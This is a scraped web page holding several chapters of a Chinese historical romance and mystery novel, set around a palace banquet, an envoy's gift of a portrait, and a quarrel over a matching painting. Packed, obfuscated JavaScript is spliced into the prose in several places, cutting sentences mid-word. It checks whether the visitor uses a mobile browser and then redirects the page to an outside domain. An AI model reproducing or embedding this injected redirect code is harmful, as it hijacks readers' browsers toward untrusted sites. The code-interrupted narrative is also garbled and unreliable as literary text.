程希夷推开门,杜文焕正低头在纸上书写,待完成最后一笔后才抬头,见是她,忙将笔搁在一旁的山架上,站起身说:“你来了。” 程希夷凑过去看他在写什么,像是奏折,但上面所写都是些贺词。 杜文焕见她好奇,解释说:“给陛下的贺表原是早交给了礼部,但礼部的意思是希望翰林院的官员再各写一份,以在使臣来时可让他们欣赏我泱泱大国臣子的才思。” “原来是这样。”程希夷点点头,又问,“时候不早了,是不是该去了?” “嗯,我回来便是打算同你一块去的。”杜文焕将贺表晾了一会,待墨水全干,便收入袖中。 趁着这段时间,程希夷去外头吩咐载松荣准备好马车,等回来时,杜文焕也准备好了。 去往皇宫的马车只准备了一辆,众人心领神会,他们二人自然是共乘一辆。 小春不去,而载松荣则是骑马在前开路。 “小春说你有事同我说。” 登上马车后,程希夷看着近在咫尺的杜文焕,她将自己腿上的衣裳布料攥紧又放开,最后不得不找些话来转移自己的注意力,毕竟很久没坐得这么近了。 “的确,”杜文焕微微点头,自然地接过她的话头,“我回来之后便去刑部找当年巫术案的记载,没有找到多少线索。后来我想到我们在大柳树村的洞穴里见到的那封血书上不是提到金谷州刺史么,我便想查明这个人同大柳树村的巫师有何关联。既然这个人如今岌岌无名,说不定当年也是被巫术案牵连的人之一,从这下手或许会有突破。” 一说到巫术案,程希夷心里同他相处的紧张也抛在脑后,“那有什么新线索吗?” 杜文焕极其失望地摇了摇头:“不,这个人,我在吏部竟然找不到任何记载。” 63. 宴会 “一个大活人怎么可能不存在...”程希夷忽然觉得后背一凉,想到了一个可能,“难道这个人被官府除名了?” “我也是这么想的,”杜文焕说,“而且这个人不是普通官吏,他或许是巫术案中一个重要人物,重要到皇帝不惜封锁所有有关他的记载。” 这个人曾经是剿灭巫师的官吏,若在禁巫令下达之后有此功绩,那必定会被记载在册,但如今的官场竟然毫无此人的痕迹。 那么这人肯定生活于禁巫令之前,敢在当时皇帝宠信巫师的风气下剿灭巫众,他一定得罪了很多人,包括皇帝身边亲近的巫师,这些人或许制造了什么冤案让他垮台,并抹杀掉他一切痕迹。 而据他们了解,当今皇帝在位期间,与巫师有关且有此影响的案件只有一个。 “是巫术案。”二人异口同声,相互对望一眼,都明白了。 程希夷:“杜大人,你觉得这人在巫术案中应当是什么地位?” 杜文焕思索:“越是有影响力的,埋藏得越深,因为幕后黑手感到害怕。这人生活于十三年前,距今也不算很远,但没有一个人敢提,足以证明这人的影响力。他应当就是巫术案的主谋——” 程希夷接过他的话:“——楚国公之子。” 关键线索既然已经找到,接下来便是从这人下手,寻找当年的真相,但所有有关他的记载全部遗失。 “这人当过金谷州的刺史,必定也是从科举入的进士,”杜文焕摸了摸下颌,仔细分析,“而吏部也没有关于‘楚’姓进士的任何记载,一时不知从哪里下手。” 程希夷突然想到一件事:“楚国公一家都是楚姓...” 对了,她还有个人可以问,就是连萍同她提到过的,楚国公的小女儿楚风絮。 “怎么了?”杜文焕见她陷入沉思,问。 “杜大人,楚国公不是还有个小女儿,当时已经嫁做他人妇,所以楚国公抄家时并未被牵连吗?” “是,听说是嫁给了唐家。”这件事倒是不稀奇,打听得出来。 程希夷有个想法:“与此案有关的事,为何我们不去问她呢?” “抄家灭门之事她怎么会轻易开口。”杜文焕并不赞同她的提议,接下来的话更是让程希夷如被惊雷劈到一般愣在原地,“何况她早已去世数年了。” “什么,她死了?!”程希夷瞪大了眼睛。 “你为何如此惊讶?”杜文焕同她解释,“我本来也想过,所以调查时留意了一下,后来听闻她是嫁给唐府二老爷唐越方才打消从她了解的念头。因为唐越的发妻早已过世,只留下一子,而今他也并未续弦,这也是朝廷官员人尽皆知的。” 过世了?程希夷本来也并不指望她会是巫术案的突破口,只是‘楚’姓女子让她十分在意,冥冥之中,她总觉得自己跟他们有着千丝万缕的联系。 “杜大人,你知道,楚国公是从哪里来的么?”程希夷敏锐地抓住了这一点,就算楚国公之子并不在吏部黄册上,但这么多年过去,不可能一个同姓的也没有,除非这个姓氏在维咸国极其特殊。 杜文焕何等聪慧,自然领会她话中在意的关键点,“你认为这个案子与楚姓有关?楚国公的来历在维咸国一直是个秘密,只听闻他是随皇帝从天末国来的,还帮当年还是质子的皇帝夺了皇位,有从龙之功,因此封了爵位。” “这么说楚国公一家来自天末国。”程希夷英气的眉毛几乎皱在一起,那双往常一直带笑的眼睛里也暗沉沉的,像一汪深不见底的潭水。 杜文焕鬼使神差地伸手,想抚平她的眉头,可刚触碰到眼睫,本在想事情的程希夷就被吓了一跳,猛地转头,尽管并未避开,但眼里都是疑惑,“杜大人,你?” “我只是觉得,你变沉稳了许多。”她如鸦羽一般的眼睫抚过杜文焕的掌心,酥酥痒痒的,勾起了他一些旖旎的心思,但面上不显,“从前你想事情不会蹙眉。” 程希夷松开了眉头,笑了笑:“杜大人不喜欢我这样么?” “你怎样都好。”杜文焕低头看她,手拂过她额角的碎发,将她略显凌乱的发丝整理了一下,“只是你心中的烦忧多了不少,若真有什么事,我们一同解决,不要自己一个人苦思。” “我知道。”程希夷主动握住他的手,放到自己脸颊边蹭了蹭,像是一只贪恋温暖的小猫,又重复说了一句,“我知道。” 她又看了看外头的风景,已经快到皇城了,随即对杜文焕说:“我先出去同载松荣一块,若在宫里被人看到我同你共乘多有不便。” 说着她掀开帘子坐到载松荣旁,后者当自己是聋的,见她出来也只是问了声好。 没多久马车慢悠悠停了,车外载松荣下马,小声在窗外提醒:“杜大人,已经到了皇宫外。” 又躬身扶杜文焕下马车。 宫内严禁车马驰骋,所以都要步行从角门进去,那儿也早有内侍等候。 程希夷跳下马车整肃衣冠,换了个贴身侍女该有的恭敬模样,低头跟在他身后,时不时打量这巍峨的皇宫。 民间相传皇宫的宫殿都是用金子和玉石做的,就连地砖也是黄金。 尽管脚下踏着的砖石并非黄金,但周围参差错落的宫殿大都刷了金漆,阳光照射下熠熠生辉,屋面上铺设琉璃瓦,流动的光不时晃动,从远处看竟真的像一座座金玉做的宫殿。 宫宴设在太液池边,宫人们早已将桌椅碗筷布置好,宫廷侍卫把守在入口,以防贼人混入。 即使还有阳光,沿路也挂上了灯笼,程希夷在心中默默觉得浪费,但周围人员众多却无一人出声,如此肃穆的环境让她一时也不敢多问。 高台上,皇帝携皇后和宜妃入座,随后诸位官吏按照官阶大小,依次入席。 文武百官分列两侧,文在左,武在右。 杜文焕是以本官充作翰林学士,官阶仍是在从五品,但陛下赐了从三品章服,故以从三品论。 在他左边的是礼部尚书季庭春,右边则是兵部尚书唐尚仁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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使臣笑着解释:“若将此物加以天山雪水煮沸,其水服之可祛病消灾,聚气宁神;若将此物悬于幔帐之上,则夜晚安睡时百鬼不扰,噩梦不侵。” “果真如此神奇?”崇福皇帝对这夜明珠动了心,他已经老了,精力十分不济,时而感觉死亡逼近,而且偶尔会梦见十多年前的那个亡灵站在床边,这宝贝来得倒是及时。 他将夜明珠递给一旁的宜妃,宜妃自然地借过,却让本端庄坐于高位的皇后冷了脸,但碍于众目睽睽,她并未发作。 “除了此物,”使者见皇帝脸上露出愉悦的神色,知道他对夜明珠十分满意,正好让自己引出今日献出的重点,“还有两物,是来时偶然得到的,请陛下观瞻。” 皇帝刚好被勾起了兴趣,现在自然开始好奇接下来会有什么更神奇的宝贝,不由得把脖子往前一仰,好看清他带来的是什么东西。 只见四个侍者用小轿抬上来一个被红绸掩盖住的庞然大物,待他们将此物放下,使者便离席走到轿旁。 他先是扫了一眼席中诸人的面容,见他们大都好奇地向前探了探身体,似乎急于知道这到底是什么。 使者得意地勾了勾唇,随即伸手将红绸子一掀,一只半人高的大龟壳登时呈现在众人的眼中。 只是一只大龟壳倒还不算奇,但这只龟壳通体雪白,上头的纹路比最细腻的盐还要白。 皇帝惊得几乎从座位上站起,“这是?” 64. 画卷 “这只乌龟是臣下一行人从鄙国行至金谷州沿岸时,在海上捕获的。”使者笑意盈盈地命人将龟壳再往前抬了些许,好让从座位上站起的皇帝看得更清楚,“当时风浪滔天,臣下的大船几乎被风浪吞噬时,海浪将此龟壳拍打到甲板上,而后乌云散去,海面很快平静,臣等也顺利到了岸。” “照卿这么说,此物是吉兆了?” “臣等顺利来此全仰赖陛下天恩,”使者滔滔不绝,舌灿莲花,“不然为何此物在臣等遇到风险时出现,自然是上天看到陛下治理有方,特意降下祥瑞护佑臣等来访。这乃是上天的意志——” 使者一边说着,一边跪下,“上天赐福,祝人君既寿永昌。” 众臣子也都跪下,“祝陛下既寿永昌!” 程希夷只好跟着跪下,但她不信这吉祥话,所以并未附和。 “哈哈哈哈哈哈!”居于上位的那位尊贵的皇帝爆发出一声愉悦的笑,因衰老而垂下的脸部肌肉抖动起来。 尽管他才五十来岁,但眼下的乌青证明他的身体并不好,脸上残留的皇帝威严却也足以震慑底下的诸位大臣。 “献得好!”崇福皇帝拍手夸赞,身边的内侍心领神会,忙命人抬了下去,收进国库。 皇帝的心情被这几样寿礼调动起来,他敛袖重回高座,饶有兴趣地说:“卿方才说还有两物,另一物是什么?” 使者却没有立即献出宝物,先是微微鞠躬,说:“此物不比前面两物神奇,但也是偶然所得。鄙国国君从一位画师那里得到了一幅美人图,画师说他在梦中忽见一位绝色神女款款而来,醒来后他便提笔作画,得了这么一幅画。而鄙国国君得到之后,下令全国寻找有此貌的女子,结果竟无一人有神女半分姿容。尊国地大物博,美人如云,故鄙国国君认为此物只有尊国才能拥有。” “美人图啊——”皇帝眼神瞥了一眼一旁的宜妃,他可不觉得如今有人比他身旁的宜妃还美,但使者将这美人图说得越是绝色,他也越好奇,“那便呈上罢,也让诸位大臣开开眼界。” “遵命。”得了皇帝的许可,使者的目的达成了,他微微一笑,命一人捧画卷而入,那人随后将画卷往上一抛,他脚尖轻点,飞身跃到空中,将卷轴一拉,一个栩栩如生的美人自上而下露出她绝美的姿容。 美人正在池边梳理自己秀美的长发,她唇红齿白若观音,眉间微蹙,墨眸中似乎含有无限愁绪,但正是这份愁绪给了她不同于胭脂俗粉的脱俗之美。 待画卷全部展开,底下的众人却露出不同的神色,有惊艳,也有恐惧。 “是她?” 因为隔得比较近,程希夷听到杜文焕旁边坐着的两个官吏不约而同地发出同样的感叹,同上座的那个皇帝一样。 使者听见皇帝这么说,问:“陛下是见过这神女?” “她哪里是什么神女?”皇帝原先被勾起的愉悦之色瞬间消失不见,取而代之的是冷漠和怀疑,他沉声说,“尊国国君显然是被江湖画师给欺骗了,这女子并不存在这人间,不属于俗世的人出现于梦境是为不详,这画容易招来祸患。” 使者却还是要火上浇油:“臣下所见,此等绝色女子的确不易见,但陛下身旁那位皇妃却与神女有几分相似呢。” 有几个不知晓情形的官吏瞄了一眼皇帝身旁的宜妃,果然眉目之间的忧愁有几分相似,而其他人则低着头不敢多看。 “尊使是什么意思?”皇帝的语气带了怒意。 “臣下的意思是神女虽不存在于世间,但陛下有不输此等姿容的皇妃,果真只有如陛下一般的治世能君才能享此人间之福。” 听他这一顿夸奖,皇帝的脸色却没有再缓和,命人将画收起来之后,使者再次入席,接下来就是各臣子献礼献上贺表,其间并无事情发生。 美酒最能缓和气氛,待天末国使臣带来的乐妓献上一曲,替皇帝把盏献酒。 天末国的使臣口才极好,一会儿又把皇帝夸上了天,宴会的气氛也渐渐缓和,诸臣子之间也慢慢谈起家常来。 季庭春是季棠的爹,朝堂上与杜文焕交流不多,但也听闻了一些事,颇为欣赏这个后辈。 他让丫鬟给杜文焕斟酒,说:“杜翰林,你这次巡察京兆三十三县,收获不小,听说你抓了一群勾结巫师的村民,这可是大功。” 杜文焕谦虚地微微颔首:“过奖了。” “哎,要是我那个孽子有你半分就好了。”季庭春无奈叹气,将手中的酒一饮而尽,酒杯朝程希夷举了举,意思是让她斟酒。 程希夷捧着酒壶,走过去替他满上。 季庭春又将酒一饮而尽,瞧了一眼她,说:“怎么只替我斟酒,为何不替杜翰林斟酒?” 程希夷瞄了一眼杜文焕,后者赶紧出来解围:“下官不胜酒力,季尚书也不可贪杯啊。如今入秋天气渐凉,这冷酒饮下去留在体内挥发不出,易损阳气。” “哎,你还是个年轻人就如此忌讳,不好不好。”季庭春偏了偏头,让自家的丫鬟替杜文焕斟了一杯。 杜文焕也只得饮了。 一旁的刑部尚书唐尚仁也凑过来想劝酒,还未说一句话,突然一丫鬟凑到季庭春耳边低声说:“老爷,少爷跟人打起来了。” 季庭春脸色骤变,酒意全醒了,忙向杜文焕告辞:“下官还有点事,失陪了。” 说完,他也没管唐尚仁,径直离开了。 唐尚仁跟季庭春的关系一向糟糕,适才虽未曾听到丫鬟说的话,但看他那发黑的脸色,便知道有好戏可看了,转而问杜文焕:“杜翰林移步同我一块去看看?” “不了,下官不喜凑热闹。”杜文焕回绝,“唐大人先请罢。” 唐尚仁失望地挑了挑眉,没再管他,自己去看好戏了。 待他们都走了,程希夷才松了口气,放下酒壶,坐到杜文焕旁边,说:“这里可真让人喘不过气。” “那我们去外边走走罢,”杜文焕看了一眼正在和皇帝攀谈的使臣,“我见他们一时也没有什么动作。” 等他们走到长廊,二人并行时,程希夷才问:“杜大人,你有没有觉得他们方才有些奇怪?” “什么地方奇怪?” “刚才使臣拿出的那幅画,坐在你旁边的两个人似乎都认识,为何天末国要拿这么一幅画来进献呢?” 长廊两侧的灯笼拉长了程希夷的影子,她疑惑地问:“天末国的那些巫师为何要拿出这么一幅画作为贺礼之一呢?明明前两物让皇帝满意了,但这最后一幅画反倒让皇帝不高兴。” 话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13996674|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音未落,二人就感到一阵凉风吹过,旁边的树林晃动,发出悉悉索索的声音。 杜文焕用食指抵住她的嘴唇,示意她先别说话,又凑近她低语:“宫中耳目众多,此事我们回家再讨论。” “好。”程希夷点点头,谨慎地观察四周,身边除了树木之外,并无人影,但她视力极好,一眼就瞧见树林深处似乎有个白色的东西。 “那是什么?” 杜文焕走过去,拨开上头覆盖的杂草,拿出一个画轴。 “似乎是一幅画。” 展开一看,画中人的面容让二人惊讶地对望一眼,画中人与方才使臣的那幅美人图长得一模一样,只是这幅图是坐在池边,手持团扇,显然是另一幅。 “这是季棠的那幅美人图?”杜文焕将画再看了一遍,确认道,“果真是那幅。” “可使臣不是说这美人图是梦中所得么,”程希夷说,“难道世上真的有这么一个人?” “但季棠的画为何会丢在这?” 不远处的庭院内似乎有几声争吵传来,程希夷提议:“不如我们去看看罢?” “好。”杜文焕将画收好,此事蹊跷,的确要问问季棠这画是怎么来的。 长廊尽头,走到了浣花院。 此处栽种了许多名贵花草,刚踏入便感花香缭绕,石凳旁坐着三两人正在攀谈,时不时用眼往更深处瞟。 顺着他们的视线,二人看到了一鼻青脸肿的贵公子低头站在一旁,脸上气鼓鼓的,似乎还是不服气,眼神凶狠地盯着另一人,那也是个锦衣华服的少爷,只是年纪要小得多,看起来只有十三四岁。 那个鼻青脸肿的贵公子说:“唐承,看你年纪小,我不同你计较,快把我的画还来。” “什么画,我不知道。”那个叫唐承的小公子毫不退让。 季庭春见自家儿子仍不悔改,狠狠敲了他的头,“什么画不画,还在这丢人现眼?待会就好好收拾你。” 季棠仍然不服:“爹,那幅美人图是从咱家找出来的,可这小子非说是他们家的,实在欺人太甚!” 平日里,他们就跟唐家的人不对付,现在又被抢了画,心中郁结,实在难以平息。 季庭春狠狠揪住他的耳朵:“你这小子平日混在胭脂堆里我也就忍了,今日宫廷宴会还带什么美人图来,真是气煞我也。走走走,别在这丢人现眼!” 唐尚仁在一旁看了好一会戏,闻言先将自家侄子互在身后,又劝季庭春:“季大人息怒,小孩子不懂事何必计较呢?季棠这孩子平日不着调,大家都习惯了,又不会怪罪,还是让他留下罢。” 季庭春瞥了他一眼,忍住怒气说:“是我教子无方,但唐大人也没必要管我这么教自己儿子的罢,告辞了!” 待季庭春走好,唐尚仁走到唐承面前,问:“你拿他什么东西了,让他这么生气?” 唐承看见大伯,先是恭恭敬敬行了礼,才说:“一幅画罢了,本也拿了银子同他买的,谁知他这么小气,把我钱给扔了。” “下次别这么干,”唐尚仁说,“你爹知道了说不定要打断你的腿,别学季棠的浪荡作风。” “是,小侄知道了。”唐承点点头,那幅画被他放在一个隐秘的树叶下藏着了,待会再去拿。 65. 挖坑 等程希夷和杜文焕暗中跟着季庭春和季棠而去,他们走了不远就在花架下停下,只听季庭春零零碎碎的呵斥声穿过草丛,传到二人耳中。 “你这逆子,痴恋女色我不管你,别搞到台面上,一幅画也值得你这么计较!” 季棠不服地嘟囔:“是那小子哄骗我说他认得画中人,若我将画卖给他,他便带我去找那女子。” “所以你就这么被骗了?唐家那些人没一个好货,你居然还信唐承那小子,他怎么可能认得一幅古画上的女子,你也是个蠢货!” “我,我...” “要是你大哥还在,我还管你做什么!” 季棠也怒了:“是,我什么都比不过大哥,可惜他早死,也该用我的命换他的,这样你也不会天天骂我了,也顺心了!” “你!”季庭春作势抬手要打,但季棠这次铁了心,没在老爹面前畏畏缩缩,仰起头直视他,像是被打死他也不怕了。 “算了。”这终归是他唯一的儿子了,季庭春泄了气,还是没忍心下手,手缓缓放下,移到了眉头,揉了揉发紧的眉心,“你那画给他就给他罢,也算破财消灾,再买一幅就是了,以后买了古画别天天在人前显摆。” 季棠没被老爹打,本该开心,可提到这幅画,他神情恹恹,“这画不是买的,恐怕也没有第二幅了。” “不是买的,你偷的?”季庭春不相信自家儿子的人品。 “也不是,”季棠缩了缩脖子,心虚地说,“是从我们家那一堆杂物里拿的。” 季庭春疑惑:“什么杂物?” “就是之前你要下人扔的那些,从大哥房里找出来的。”季棠嘟囔。 季庭春想了一会,自家大扫除已经是许久之前的事了。季棠大哥的房间他是几乎不动的,除了某次他找到了一些没用的旧物... “是那幅画!” 他忽然想起,猛地他双眼瞪大,抓住季棠的衣领:“放在靠窗桌案上的那幅?” 季棠低下了头,“对,对啊。” “你这兔崽子,你知道那幅画上的是谁吗你就拿了!” “那是谁,不就是一幅旧画吗?”季棠好像知道自己闯祸了,但还是替自己辩解,“那么美的画中人,我见扔了可惜了就随手拿走了。” 季庭春神情严肃,“那幅画你还给谁看了?” “没给谁,就我认识的那些公子哥,还有就是唐承。” “还好没几个人知道,这幅画被拿走了也好,也算是消灾了。”季庭春松了口气,“你自己在这反省一下,以后少跟你那些狐朋狗友混在一起。” “好的,爹。”季庭春要放过自己,季棠自然乖乖答应。 待他走后,没多久从不远处走来两个人,季棠还以为是唐家的人来看笑话,抬眼一看,却是杜文焕,后头跟着个丫鬟打扮的清丽女子,低着头,看得不大清楚,但神态瞧着有几分眼熟。 季棠松了口气,说:“是文焕啊。”本来他无官职,应当称呼大人,但杜文焕同他关系不错,也是从小认识的,所以就免了这层拘谨的称呼。 “季兄在这做什么?”杜文焕明明刚才同程希夷听了全程,但也要故意装傻。 季棠挠了挠头,也不好意思说方才被老爹训斥了:“没,没什么。对了,你为何来这啊,这儿挺偏的。” “哦,路上拾到一幅画,打开看了是你那幅,就来找你,沿路有人给我们指了路。” 杜文焕说着,程希夷便主动上前递上那幅画。 季棠打开一看,的确是那幅美人图,除了边角沾了点泥外,其他完好无损。 他兴奋地向杜文焕道谢:“实在是多谢文焕兄,这图我本来已经不抱着找回的希望了。” 杜文焕见他对那幅图爱不释手,根本完全忘记方才季庭春警告他的那番话。 季棠虽不知这画上是谁,季庭春一定知道,但季庭春为人谨慎,是官场上摸爬滚打几十年的老狐狸了,任何事都不会明说,而季棠是个浪荡公子,没有这么多心思,也更容易套话。 便说:“季兄,方才我来时听说你为了这画同唐侍郎的公子打了一架。画虽值钱,但也不要为此伤了和气啊。” 季棠叹了口气,将画卷好,“你也听说了啊,这下丢人丢大了,我老爹到时候回家又要数落我一顿。” 杜文焕:“听唐公子说,季兄是想认得这画中人,所以才将此画卖给他的。” 程希夷默默瞄了他一眼,什么听唐公子说,压根连那个唐承的面都没碰上,只是瞎说罢了,杜大人也学会骗人了啊。 “这他也跟你说了?”季棠咬牙切齿,“他骗了我,将这画拿走之后便称不知了。” “可要我说,唐公子也不尽是在骗你。” “哦?文焕何出此言?” 杜文焕轻笑一声,看向他怀中那幅画:“若是别人向你讨要这画,想的无非是多花些钱,又或者是用别的更珍贵的宝物来换。这画上的纸已经旧了,画中的人又不似凡人,有几个人会说自己认得这画中人。更遑论说带季兄去见那人呢?谎言只有半真半假才最可信。” 季棠也懂了他的意思:“你是说唐承他没说谎?那他怎么不带我去见,还要为此同我打一架。” “这画中人若活到现在也已经是美人迟暮,季兄莫非想见到一个白发苍苍的老婆婆?” “这...”季棠犹豫了,他要是见到已经年老色衰的画中美人,幻想立刻就会破灭了,“我确实不想。” 杜文焕将季棠的反应收入眼底,小鱼慢慢上钩了,“唐公子说不定也是考虑到这一层,才并未带季兄去的。” “可就算画中人迟暮,她还会有后人。”季棠仍然不死心,“即使见不到这位美人,她说不定会有女儿能让我一窥她年轻时的面容。” 杜文焕却意味深长地说:“难道季兄没看出来,这画中人与唐公子有几分相似吗?” 季棠:“!” 程希夷:“?” 季棠的手捏紧了画卷,“这么说,好像确实是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14038036|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “难道...”季棠想到一个可能,“唐承同她有什么血缘关系?” “可季兄从家里带出来的画怎么会和唐公子有什么血缘关系呢?似乎又有些不对,想必是我想错了。”杜文焕微微蹙眉,做出想不大通的模样。 这倒是让季棠着急了:“文焕你一向聪颖,怎么会想错呢,我也觉得你说的有道理。可这画是从我兄长房中找出的,我爹就算知道是谁也不会说,何况这又跟我兄长有关。我爹除了教训我的时候会提,其他时候从不提起兄长。” “季伯父白发人送黑发人,对此痛心,可以理解。”杜文焕本跟季庭春也无甚交集,为了扯近关系,换了个称呼,“不过季小将军是为国尽忠而战死的,也算是全了将士马革裹尸的夙愿,这么多年季伯父也该放下了。” 对这位季小将军,杜文焕其实并不了解,只是之前在季棠的诗酒会上听他提过几句。 季庭春有个从小骁勇好战的长子,虽然家中有意让他考科举做个文官,但他说男儿志在报国,与天末国的连年战争不断,百姓深受其苦,单凭文官一支毛笔难以安定天下,不如做个武官,去边境平定战乱,好让百姓安居乐业。 却在十多年前战死在边境,连全尸也没有寻到。 为此,皇帝特意给了季庭春一个恩典,让他的子孙可以荫官,不必靠科举才能做官,因此季棠才这么肆无忌惮地做一个浪荡公子哥,反正只要自家老爹上书请求,皇帝必定给他一个官当。 从前季庭春还有让他考科举不靠恩典的想法,如今也都快放弃了。 “他怎么可能放得下,毕竟我是个不争气的,每次斥责我说不定实在想活着的怎么不是大哥。”季棠自嘲地笑了,等反应过来,又颇为歉意地说,“哎,瞧我怎么跟你来抱怨了,还是画的来源更重要些。这画可能是我大哥的,之前应该一直放在大哥房里。不过我并不了解他,也不知道这是怎么来的。” 杜文焕指着画问:“令兄可有什么红颜知己么?以这画的技法来看,画师并不算娴熟,甚至有几笔可以说是草率,但胜在神态够真实,非亲眼见难以画出。想必是看着那人才能画得如此栩栩如生。” 季棠将画展开来一看,的确如他所言,“这...可是据我所知,兄长是个正派的人,家中记得他的老仆人都盛赞他的品格,身边也没什么莺莺燕燕。” “嘶...”季棠略微思索了一会,突然想到一件事,“但我记得家中的老管家提过这么一件事,说兄长曾经有个心上人,却在他率军平定南方骚动时嫁给了别人。后来兄长消沉了很长一段时间,也就是从这时候开始,他留在边境的时间愈发长,再后来便是战死沙场。为此,老管家深深痛恨那个负心的女子,而且我老爹那么古板一个人,居然在留恋花丛这事上从不斥责我,只别摆上台面。” 杜文焕若有所思:“这女子是谁?” “我不知道,”季棠摇了摇头,“只听说她与兄长是青梅竹马,不过这么多年,谁知道他当年的青梅是谁。” 66. 成家 “原来这幅画是被你拿走了!” 后头突然传来一声带着怒气的喊声,几人回头一看,方才的话也不说了,便看见一个十三四岁模样的小公子站在那,怒目圆瞪,直直看着季棠。 季棠看见了他,心里也冒起了火气,自己不去找他麻烦,他倒是找上门了。 “唐承,你来做什么?今日皇宫宴会,人多眼杂,我可不想在这里把你打得头破血流。” 那个叫唐承的小公子却没被这话吓到,冷笑一声,说:“看看你脸上的伤,谁打谁还不一定呢。” 他边说边伸出手:“把画拿来。” 季棠顺着他的目光看到自己手上那幅画,似笑非笑地说:“原来还是为了这幅画,这画本来就是我的,现在不过是物归原主罢了。” “买画的银子我已经给你了,是你自己不要。”唐承仍然坚持,“把画拿来。” 季棠握住画轴的手愈发紧:“我要的可不是银子,你将这画哄骗过去,还有脸说?” “给我!”唐承见要不来,便想要动手抢,他突然一手抓住画轴的左侧,想将画从季棠怀中扯出。 可季棠早做了他来抢的打算,早就死死护住,一时也没被抢去。 他本就对唐承怨气极大,此时再次被激怒,一只手护着画,另一只手抽出,紧握成拳,一拳打在唐承的右脸上,打出一个小凹洞来。 唐承被这一拳打得懵了一瞬,也不管那画了,扑上去与季棠打成一团。 他本是练家子,他爹唐越在他小时候就请校尉专门来唐府教导他,所以即使才十三四岁,体格却已经比同龄人要健壮得多。 而季棠是个混在脂粉堆里的绣花枕头,平时与人产生矛盾,也多用银子摆平,他又生得瘦弱,别说同人打架,就是快走几步都会气喘吁吁。 方才那一拳,季棠已经是竭尽全力,但对唐承来说也是不痛不痒,只是将他完全激怒了,也不管有别人在侧,扑上去就乱挥舞拳头。 铺天盖地的拳头砸下,季棠原本还很气,可渐渐地落下了下风,怒气都被打没了,只能一边躲一边看准机会还手。 饶是这样,他也招架不住。 而那幅画也顾不得,不知什么时候被扔到一边。 早退到一旁的程希夷将画捡起,用袖子拂去沾上的泥土,不是很明白这二人怎么说打就打起来了。 她将画递给杜文焕,低声说:“杜大人,我见那位与你相熟的季公子似乎赢不了那个年纪比较小的唐公子。” “嗯,看得出来他不擅长打架。”这两人的矛盾,他们也不好相帮。杜文焕将画接过,又往路尽头看了一眼,那儿有人听到声音往这里走来,“我们先走罢。” “好。” 二人拿着画从旁边的小路离开了。 刚从小径口出来,便有一老内侍急急忙忙迎上来,脸上带着焦急,说:“哎呦,杜翰林,咱家可找到您了。陛下有旨,让您过去。” 杜文焕微微颔首,随他前去。 老内侍瞥了他怀中的画轴一眼,说:“您的东西怎么自己拿着,还是交给您的丫鬟罢。” 程希夷主动上前接过,老内侍方才还没注意,此时看到她抬起头,话语脱口而出:“咱家刚才还没注意,您的丫鬟生得也不俗,若不是这身打扮,还真以为是哪家的千金。” 杜文焕默默侧身,挡住老内侍打量的眼光,问:“陛下可说是什么事?” 老内侍收回眼光,眼神又重新聚焦在杜文焕身上:“这咱家也不好说,您到了那自会知道,总之不是坏事。” “那就劳烦公公带路。” 回到太液池,崇福皇帝正与使者谈笑风生,之前献礼时因为一点小插曲而造成的不快也消失不见。 从浣花院那边来了人,还未至帝座前,先跪下叩首。 “臣杜文焕,叩见陛下、宜妃娘娘、恭顺王爷。” 崇福皇帝抬眼一看,是那位短短数月便立下大功,替他解决了不少烦恼的杜翰林。 “起来罢。” “谢陛下。” “爱卿,”崇福皇帝闲坐在龙椅上,右手拾起一张贺表,衰老的脸上露出一分笑意,“使者在一众贺表中唯独看中了你的贺表,说你的文章字字珠玉,为众贺表之冠。朕瞧着也是这样。所以,朕要赏你。说吧,想要什么?” 杜文焕忙弯腰作揖,恭恭敬敬地说:“臣蒙陛下天恩良多,不敢再求。” 崇福皇帝抬手,做出不赞同的模样:“休要推辞,难道我泱泱大国,还没有一件值得你动心的东西?” “臣不敢。”杜文焕低着头,余光却不自觉瞥向身后他的那个一直低头沉默的丫鬟。 明明在面对如虎狼般君王的责问,他却莫名想到她最近话少了许多,也不大爱笑了。 “你也有二十了罢?” “是。”杜文焕不明白皇帝为什么突然问他的年纪。 “一般的公子哥在你这个年纪早就娶了亲,”崇福皇帝说,“你之前外任时才十七,家中还未给你张罗婚事也正常。但现在回了京城,京城里这么多大家闺秀,也是时候成个家了。可有看中的?” 杜文焕心中咯噔一声,忙说:“臣暂时没有成家的念头。” 这话一出,不仅是皇帝,连天末国的使者也投来好奇的目光。 程希夷微微抬头,看着他挺直的背影,眼神闪动,似有疑惑,还有点别的什么情绪,不过很快她又低下头,将眼神中的复杂掩盖在阴影中。 崇福皇帝颇不赞成地摇摇头:“古人云成家立业,朕知道你为官勤勉,但业已经立了,这家也该成了罢。朕有二女,可已经招了驸马,不然,朕招你为婿,也不算辱没了你。 “但这京城之中,家世人才相貌与你相配的也不少,总不至于找不到一个罢?” “臣不想成家并非是认为没有与臣相配的人家。”杜文焕瞥见那片衣角,眼神愈发坚定,他徐不紧不慢地开口,“京城之中,天皇贵胄,世家大族皆汇于此,与之相比,臣不过是小门小户,怎敢挑三拣四?只是臣早已在家族祠堂前许下心愿,此身报效国家报效朝廷,不动成家之念。” 